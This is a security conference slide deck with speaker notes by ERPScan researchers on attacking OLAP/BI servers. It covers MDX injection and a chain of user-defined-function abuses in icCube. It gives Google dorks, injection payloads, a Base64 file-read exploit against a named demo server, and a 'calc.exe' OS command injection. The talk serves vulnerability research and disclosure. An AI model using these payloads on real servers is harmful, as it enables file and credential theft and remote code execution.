What's New in Teams Calling, Meetings and Devices March 2024
Dmitry Chastukhin - Business Intelligence hacking – Breaking ICCube
1. Invest in security
to secure investments
BI hacking – Breaking ICCube
Dmitry Chastukhin – Director of SAP pentest/research team
2. Dmitry chipik Chastuhin
Yet another security
researcher
Business application
security expert
Ненавижу слова
«кулуары» и «коллеги»
3. OLAP & Big Data
erpscan.com
ERPScan — invest in security to secure investments
3
4. WTH is OLAP?
• Online analytical processing (OLAP) is an approach to
formulate and answer multidimensional queries to
large datasets.
• OLAP technologies developed by many software giants
since the 199x.
• Business intelligence (BI) is a methodology that helps
managers in the analysis of information inside and
outside the company.
• OLAP is all about BI and Big Data.
erpscan.com
ERPScan — invest in security to secure investments
4
6. Main players of OLAP industry
erpscan.com
ERPScan — invest in security to secure investments
6
7. Google dork
Many of these servers can be accessed directly
from the Web, here are some dorks:
Service
Dork
Pentaho Business Analytics
XMLA interface
inurl:/mondrian/testpage.jsp
inurl:/pentaho/testpage.jsp
Pentaho Business Analytics
intitle:"Pentaho User Console Login"
ISAPI MS Analysis Services
inurl:msmdpump.dll
SAP NetWeawer
inurl:/sap/bc/bsp
Oracle EssBase
intitle:"Hyperion System 9" inurl:asp
erpscan.com
ERPScan — invest in security to secure investments
7
8. A Quick Glance…
And here they are:
erpscan.com
ERPScan — invest in security to secure investments
8
14. WTH is MDX?
• SQL isn’t convenient to access Big Data.
• MDX (MultiDimension eXpressions) comes to
replace it.
• MDX looks like SQL, but it’s not SQL:
– (usually) you can’t modify data
– MDX is much stricter than SQL
erpscan.com
ERPScan — invest in security to secure investments
14
15. MDX query form
[ WITH <SELECT WITH clause>
[ , <SELECT WITH clause>...n ] ]
SELECT
[ * | (
<SELECT query axis clause>
[ , <SELECT query axis clause>,...n ] )
]
FROM <SELECT subcube clause>
[ <SELECT slicer axis clause> ]
[ <SELECT cell property list clause> ]
erpscan.com
ERPScan — invest in security to secure investments
15
16. MDX SELECT query sample
WITH
MEMBER SelectedMeasure AS ([Measures].[Salary
Paid])
SELECT
{ [SelectedMeasure] }
ON COLUMNS,
{
([Employee].[Department].[Department].[HQ
Marketing], [Gender].[Gender].[M])
}
ON ROWS
FROM [HR]
WHERE ([Store].[Store].AllMembers)
erpscan.com
ERPScan — invest in security to secure investments
16
18. Attacks on MDX
mdXML attacks (good old XXE and
much more)
MDX injections
User-defined functions attacks
erpscan.com
ERPScan — invest in security to secure investments
18
20. What will help to inject?
• Commentaries:
– single line -- - (as in SQL)
– multiline /* … */
• Special functions for dimensions and members
crawling: Parent, FirstChild, LastChild,
DefaultMember e.t.c.
• Subqueries in FROM ( … )
erpscan.com
ERPScan — invest in security to secure investments
20
21. Where to inject?
WITH
MEMBER SelectedMeasure AS ([Measures].[Salary Paid])
SELECT
here
{
[SelectedMeasure]
}
ON COLUMNS,
{
([Employee].[Department].[Department].[HQ Marketing],
[Gender].[Gender].[M])
here
}
ON ROWS
FROM [HR]
here
WHERE ([Store].[Store].AllMembers)
erpscan.com
ERPScan — invest in security to secure investments
21
22. Types of injections
Pre-SELECT
(WITH):
• You can do everything
In-SELECT:
• Partial cube info gathering and crosscube queries
• Partial access to cube data
In-WHERE
• Blind MDX
erpscan.com
ERPScan — invest in security to secure investments
22
23. Pre-SELECT injection
WITH
MEMBER SelectedMeasure AS ([Measures].[Salary Paid]
MEMBER [Rank] AS (
Rank([Employee].[Employee].currentmember,
Head([Employee].[Employee].members, Dimensions.count-1))
)
MEMBER HierName AS ( Dimensions([Rank]).uniquename )
SELECT
{[Rank], [HierName]} on 0,
{Head([Employee].[Employee].members, Dimensions.count-1)} on 1
FROM [HR]
/* [Salary Paid])
SELECT
{
[SelectedMeasure]
...rest of query...
erpscan.com
ERPScan — invest in security to secure investments
23
24. In-SELECT injection
WITH
MEMBER SelectedMeasure AS ([Measures].[Salary Paid])
SELECT
{
[SelectedMeasure]
}
ON COLUMNS,
{
([Employee].[Department].[Department].[HQ Marketing],
[Gender].[Gender].AllMembers, [User name].[User name].AllMembers)
}
ON ROWS
FROM [HR]
WHERE ([Store].[Store].AllMembers)
/* [M])
}
... rest of request ...
erpscan.com
ERPScan — invest in security to secure investments
24
25. MDX Tips & Tricks (1)
Use {null} on axis to get all or nothing
You can use Dimensions to access cube dimensions
LOOKUPCUBE provides access to another cube
You can use /* multiline commentary without closing ‘*/’
Use DESCENDANTS to get all data about a member
You can convert to/from strings to pass data within query
erpscan.com
ERPScan — invest in security to secure investments
25
26. Modifying data with MDX
Normally, you can’t modify data with MDX:
• MDX was created for data extraction, not
modification.
• ALTER, CREATE and DROP are used for
operations with measures and temporary sets,
not for changing cube data.
But in rare cases, you can modify data with
UPDATE statement.
erpscan.com
ERPScan — invest in security to secure investments
26
27. MDX Update Query
Simple update query:
UPDATE CUBE [Sales] SET
([Geography].[Geo].[Europe],
[Measures].[Amount]) = 20
So, if you can control all query AND data
modification in cube is enabled, you can modify
data in any cube, that you have permissions to
access.
erpscan.com
ERPScan — invest in security to secure investments
27
29. User-Defined Function
User-Defined Function (UDF) – these are functions
written by the user or a third-party developer
which can take and return values in the MDX
syntax.
«ProgramID»!«FunctionName»(«Argument1»,
«Argument2», ...)
erpscan.com
ERPScan — invest in security to secure investments
29
30. Attack on UDF. IcCube OLAP Server
IcCube OLAP Server
• Popular OLAP Server
• Free. Has a Community edition
• Cross-platform Java app: Windows, Linux,
• Fast
• Has many utilities: IDE,web reports
• etc…
erpscan.com
ERPScan — invest in security to secure investments
30
33. IcCube OLAP Server
• Of course IcCube used MDX, but where?
•Send some request in WebReport, and look in
Burp
erpscan.com
ERPScan — invest in security to secure investments
33
34. IcCube OLAP Server
POST /icCube/gvi
action=executeMdx&mdx=SELECT { {[Measures].[Cashflow (M)],[Measures].[Cumulative Cashflow (M)]} } ON
COLUMNS,{ [Calendar].[Calendar].[Quarter].allmembers } ON ROWS FROM ( SELECT { {[Product
Type].[Product Type].[Product Type-L].&[Fixed Income I], [Product Type].[Product Type].[Product TypeL].&[Fixed Income II], [Product Type].[Product Type].[Product Type-L].&[Saving Account], [Product
Type].[Product Type].[Product Type-L].&[Fixed Income Derivative I], [Product Type].[Product Type].[Product
Type-L].&[Fixed Income Derivative II], [Product Type].[Product Type].[Product Type-L].&[Other]} } ON 0,{
{[Currency].[Currency].[Currency-L].&[121], [Currency].[Currency].[Currency-L].&[114],
[Currency].[Currency].[Currency-L].&[119], [Currency].[Currency].[Currency-L].&[115],
[Currency].[Currency].[Currency-L].&[133], [Currency].[Currency].[Currency-L].&[130],
[Currency].[Currency].[Currency-L].&[122], [Currency].[Currency].[Currency-L].&[128],
[Currency].[Currency].[Currency-L].&[124], [Currency].[Currency].[Currency-L].&[125],
[Currency].[Currency].[Currency-L].&[123], [Currency].[Currency].[Currency-L].&[118],
[Currency].[Currency].[Currency-L].&[126], [Currency].[Currency].[Currency-L].&[131],
[Currency].[Currency].[Currency-L].&[116], [Currency].[Currency].[Currency-L].&[117],
[Currency].[Currency].[Currency-L].&[132], [Currency].[Currency].[Currency-L].&[127],
[Currency].[Currency].[Currency-L].&[120]} } ON 1,{ {[Interest/Principal].[Interest/Principal].[Interest/PrincipalL].&[1], [Interest/Principal].[Interest/Principal].[Interest/Principal-L].&[2],
[Interest/Principal].[Interest/Principal].[Interest/Principal-L].&[3]} } ON 2,{ {[Profit Unit].[Profit Unit].[Profit
Unit-L1].&[-], [Profit Unit].[Profit Unit].[Profit Unit-L1].&[Corporate], [Profit Unit].[Profit Unit].[Profit UnitL1].&[Debt], [Profit Unit].[Profit Unit].[Profit Unit-L1].&[Funding], [Profit Unit].[Profit Unit].[Profit UnitL1].&[Investments], [Profit Unit].[Profit Unit].[Profit Unit-L1].&[Special Purpose]} } ON 3 FROM
[Cube])&schema=Bank I&tqx=out:json
erpscan.com
ERPScan — invest in security to secure investments
34
35. IcCube OLAP Server
• Try to use user defined functions
• As we remember – icCube is a Java application
• Let's try JAVA functions
J!Math.PI
erpscan.com
ERPScan — invest in security to secure investments
35
37. IcCube OLAP Server
• Probably, we can call public static JAVA
functions. Cool.
J!System.getProperty("user.dir")
erpscan.com
ERPScan — invest in security to secure investments
37
38. IcCube OLAP Server
• IcCube developers restrict access from user defined functions to
dangerous JAVA functions
• From MDX, we can use some JAVA classes like Math …
• … and “if you need JAVA classes from JAR that are not available
with icCube, simply add them to the icCube-install/lib directory”
(c) www.iccube.com
erpscan.com
ERPScan — invest in security to secure investments
38
39. IcCube OLAP Server
• icCube-install/lib directory contains
a lot of interesting .jar files with interesting
functions, which we can call
For example:
org.apache.commons.io. FileUtils.readFileToString(FILE file)
from commons-io-1.4.jar
erpscan.com
ERPScan — invest in security to secure investments
39
40. UDF. IcCube OLAP Server
• Let’s try to read file c:111.txt from server, which
contains text: “hello_MDX”
• For input, we can use error messages:
J!org.apache.commons.io.FileUtils.readFileToString(J!File("c:/111.txt")
•Final MDX request
SELECT{StrToTuple(J!org.apache.commons.io.FileUtils.
readFileToString(J!File("c:/111.txt")))} ON COLUMNS
FROM [Sales]
erpscan.com
ERPScan — invest in security to secure investments
40
41. UDF. IcCube OLAP Server
erpscan.com
ERPScan — invest in security to secure investments
41
42. UDF. IcCube OLAP Server
• But if the file contains special charsets or even
whitespaces, MDX parser won’t return their
content
• For example, if we try to read the file
“hello_MDX blabla”, we will get this error:
“syntax error: unexpected statement 'blabla'
(REGULAR_IDENTIFIER)”
erpscan.com
ERPScan — invest in security to secure investments
42
43. UDF. IcCube OLAP Server
• Ok. Just encode the file content. Base64, for
example
• We found a method :
org.apache.commons.codec.binary.Base64.encodeBase64(byte[] binaryData)
in the file commons-codec-1.6.jar
• tried it… and got the error:
syntax error: unexpected statement 'EQ'
erpscan.com
ERPScan — invest in security to secure investments
43
44. UDF. IcCube OLAP Server
• Hmm, probably the Base64 string contained an
‘EQ’ sequence, which means “equivalent”
• Ok, encoded the file content twice…
• …and got the error:
syntax error: missing expression following '='
erpscan.com
ERPScan — invest in security to secure investments
44
45. UDF. IcCube OLAP Server
• oh, the “=” symbol is often found in the Base64
string
• to resolve this problem, just concatenate the
Base64 string which contains “=” with one letter
MTIzNDU=s
When MDX parser works, it drops “=” and all
symbols after that. But “=” is always at the end of
Base64, we can still decode it.
erpscan.com
ERPScan — invest in security to secure investments
45
46. UDF. IcCube OLAP Server
• Final user-defined function call:
StrToTuple(J!org.apache.commons.codec.binary.Base64.encodeBas
e64(J!org.apache.commons.codec.binary.Base64.encodeBase64(J!
org.apache.commons.io.FileUtils.readFileToByteArray(J!File("c:/11
1.txt"))))+"s")
erpscan.com
ERPScan — invest in security to secure investments
46
47. UDF. IcCube OLAP Server
Decode WVVkV2MySkhPV1pVVlZKWlNVZEtjMWxYU25OWlVUMDk=
erpscan.com
ERPScan — invest in security to secure investments
47
48. UDF. IcCube OLAP Server
• We must not forget to add
“=” at the end of the Base64
string because the MDX
parser has trimmed them
• After decoding, we got the
text from the file c:111.txt
erpscan.com
ERPScan — invest in security to secure investments
48
49. UDF. IcCube OLAP Server
This vulnerability is very interesting, especially because users
passwords in IcCube OLAP Server are stored as Base64 encoded strings in
the file icCubeUsers.icc-users
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<users>
<user name="admin" password="☁YWRtaW4=">
<role>administrator</role>
</user>
<user password="☁ZGVtbw==" name="demo">
<role>standard</role>
</user>
<user name="marc" password="☁bWFyYw==">
<role>standard</role>
<role>administrator</role>
</user>
</users>
erpscan.com
ERPScan — invest in security to secure investments
49
50. UDF. IcCube OLAP Server
• Example: getting user home directory from icCube demo
server demo3.iccube.com
POST /icCube/gvi HTTP/1.1
Host: demo3.iccube.com
action=executeMdx&mdx=SELECT{StrToTuple(J!crazydev.commo
n.security.Base64Encoder.encodeString(J!crazydev.common.utils
.CdSystemUtils.getStringProperty("user.home","aaa"))%2b"ss")}
+ON+COLUMNS,{[Calendar].[Calendar].allmembers+}+ON+ROW
S+FROM+[Cube]&schema=Bank+I&tqx=out%3Ajson
erpscan.com
ERPScan — invest in security to secure investments
50
51. UDF. IcCube OLAP Server
HTTP/1.1 200 OK
{version:'0.6',status:'error',errors:[{reason:'other',message:'u0027u0027L2h
vbWUvZGVtbzMu0027 is neither a dimension nor a hierarchy within the
cube.u0027 is neither a dimension nor a hierarchy within the
cube.',detailed_message:'SELECT{StrToTuple(J!crazydev.common.security.Bas
e64Encoder.encodeString(J!crazydev.common.utils.CdSystemUtils.getStringPr
operty(u0022user.homeu0022,u0022aaau0022))+u0022ssu0022)} ON
COLUMNS,rn{[Calendar].[Calendar].allmembers } ON ROWSrn FROM
[Cube]rn',error_code:'OLAP_UNKNOWN_DIMENSION_HIERARCHY'}]}
After decoding “L2hvbWUvZGVtbzM=”, we get “/home/demo3”
erpscan.com
ERPScan — invest in security to secure investments
51
52. UDF. IcCube OLAP Server
DEMO
erpscan.com
ERPScan — invest in security to secure investments
52
53. UDF. IcCube OLAP Server
• But, dangerous JAVA methods are only half of the problem
• Dangerous JAVA methods with bugs are another thing which the attacker can
use
• Method
org.apache.commons.io.FileSystemUtils.freeSpaceWindows(String path)
from commons-io-1.4.jar
erpscan.com
ERPScan — invest in security to secure investments
53
54. UDF. IcCube OLAP Server
• variable “path” used as parameter in command
“cmd.exe /C dir/-c path”
• variable “path” isn’t checked, that’s why an attacker can
inject operation system commands
That’s the code of the user-defined function which
executes calc.exe on the server OS
J!FileSystemUtils.freeSpace("& calc.exe")
erpscan.com
ERPScan — invest in security to secure investments
54
55. UDF. IcCube OLAP Server
DEMO
erpscan.com
ERPScan — invest in security to secure investments
55
56. Conclusion
• MDX is a very popular language
• At this moment, we don’t have an alternative
language for multidimensional data requests
• All developers forget about MDX security. Back to
2000
• Security issues in MDX may cause a lot of attacks:
data stealing, file reading, privilege escalation,
remote code execution, SQL injection, cross site
scripting, etc.
erpscan.com
ERPScan — invest in security to secure investments
56
After first appearing in the 200x, the use of Big Data technologies gradually expanded to several fields where analysis and decision making is based on large datasets. Now, the mot popular fields to use OLAP and Big Data are: Advertising, Healthcare, Energy, Government and Retail.
Let’s talk about the language that allows us to make queries to such cubes.
Let’s talk about how to inject.
Okay, let’s talk about another feature of MDX query language: User defined functions.
User-Defined Function (UDF) – these are functions written by the user or a third-party developer which can take and return values in the MDX syntax. So a developer can use them to enhance the functions of the language and the application which uses it. To call a UDF, this kind of construct must be used in a query:
We will now discuss some attacks on OLAP servers where User defined functions are used. IcCube OLAP Server will be the object of these attacks.Why? First, it is a quite popular solution for OLAP servers. Second, it has a free community edition. Third, this solution is cross-platform because it is written on Java. The developers claim it to be fast, reliable and secure. Another advantage of this software is that it is shipped with a lot of additional utilities for developing and debugging queries, creating web reports and so on.
To sum up, the availability of this solution is why we have chosen it.
This is how working with an OLAP server looks for the end user. Fancy HTML5, diagrams and checkboxes allow working with multi-dimensional data conveniently and generating queries easily.
And this is how the client working with OLAP looks for anyone who looks into a sniffer. Of course, MDX is the appropriate language to be used in queries, but it is not the surprising part. Can you see the mdx parameter in the POST request? It contains the whole MDX query!
It means that the attacker need not bother with searching for injection parameters and bypassing filters. They just need to understand which cubes, measures, axes, members are there and compose the correct query. However, we are interested in user defined functions right now.
So an icCube is a Java application. Well then, maybe Java functions will serve as UDF?Let’s try to call Math.PI using the common entry format: J!Math.PI
You can see the full entry on the slide as well as the result: the server has successfully replied with the value of Pi.
Rejoice! Looks like we can call public static Java functions. Let’s try the obvious: system.GetProperty(). Aaaaand here is the part where we fail: an unknown method error.
We tried a couple more cheesy functions and concluded that the developers had restricted access for MDX to all dangerous methods and functions and left just boring classes like Math. However, official documentation contains a subtle hint that much more that Math is possible if you add the desired classes to the server directory called “lib”.
It was only logical to have a look at the JAR files which were already contained in the directory,decompile them and find something interesting. I can tell you outright that it was not hard to find.For example, commons-io-1.4.jar contained a method to read files from the OLAP server.
Okay, let’s try to read a file called 111.txt which contains text: "hello_MDX". The text has to be displayed somewhere, so we will cause a wrong dimension name error. The slide shows the final file read query.
This slide shows the result of our work. You can see that the server returned an error which contained the file content.
But we did not manage to read anything interesting from the server. Special characters, commas and even spaces crashed the MDX parser and only part of the file was transferred from the server. For example, if we try to read the file “hello_MDXblabla”, we will get this error:
The solution is obvious: encode the file content with base64. By the way, commons-codec-1.6.jar happens to have a relevant method. Add this method to the query, send it, and here is failure again: syntax error: unexpected statement 'EQ'.
The Base64 string probably contained an ‘EQ’ sequence, which means “equivalent” in MDX. Ok, encoded file content twice… …and got the error. The parser returned an error about a missed expression after the “equal” operator because this symbol is frequent in the end of base 64 strings.
To resolve this problem, just concatenate the Base64 string which contains “=” with one letter, and the expression will be correct. When MDX parser works, it drops “=” and all symbols after that. But we know the equal symbol is always at the end of Base64, if anywhere, so we can still decode it.
This is our final user-defined function call which allows reading any file from the OLAP server.
The server replies with an error which contains a base64 string. We must not forget to add an equal sign at the end…
…decode the string several times and get the contents of the file at the OLAP server.
This vulnerability is very interesting, especially because user passwords in IcCube OLAP Server are stored as Base64 encoded strings in a configuration file. It is year 2013, and applications still store passwords in plaintext.
Just before BlackHaticCube shut down those methods but the mechanism of calling those functions is flawed by nature and can be successfully exploited with the help of other critical methods. For example, let’s try retrieving the user home directory where the official icCube demo server is launched from. We will use the methods crazydev.common.utils.CdSystemUtils.getStringProperty() and crazydev.common.security.Base64Encoder.encodeString()which still work.
Again, the same error with a base64 string. After decoding it, we get the necessary information:"/home/demo3"
Now, a small demo
But this is not the end of the adventures of user defined functions. Calling dangerous methods is only half of the problem; the other half is the methods which contain certain vulnerabilities themselves. An example: there is a method called freeSpaceWindows which returns information about the hard drive space occupied by a certain directory. But look how it is implemented!
OS command injection is self-evident here, because the “path” parameter is not checked in any way but rather just concatenated to the “dir” operator. The code for calling calculator is quite simple and elegant: J!FileSystemUtils.freeSpace("& calc.exe")
Let me show you how it works…
To sum up: MDX is a very popular language in business intelligence, and it is the main query language which is used to retrieve data from infocubes and OLAP servers as a whole. It does not have a decent alternative now. MDX resembles SQL a lot but there are a lot of differences, both in semantics and in syntax.Moreover, the developers of business intelligence applications have forgotten about security for some reason: they send along all data sample queries without any filtering. Vulnerabilities and errors in MDX query processing can lead to dire consequences like: data stealing, file reading, privilege escalation, arbitrary server-side code execution, various SQL and JavaScript code injections.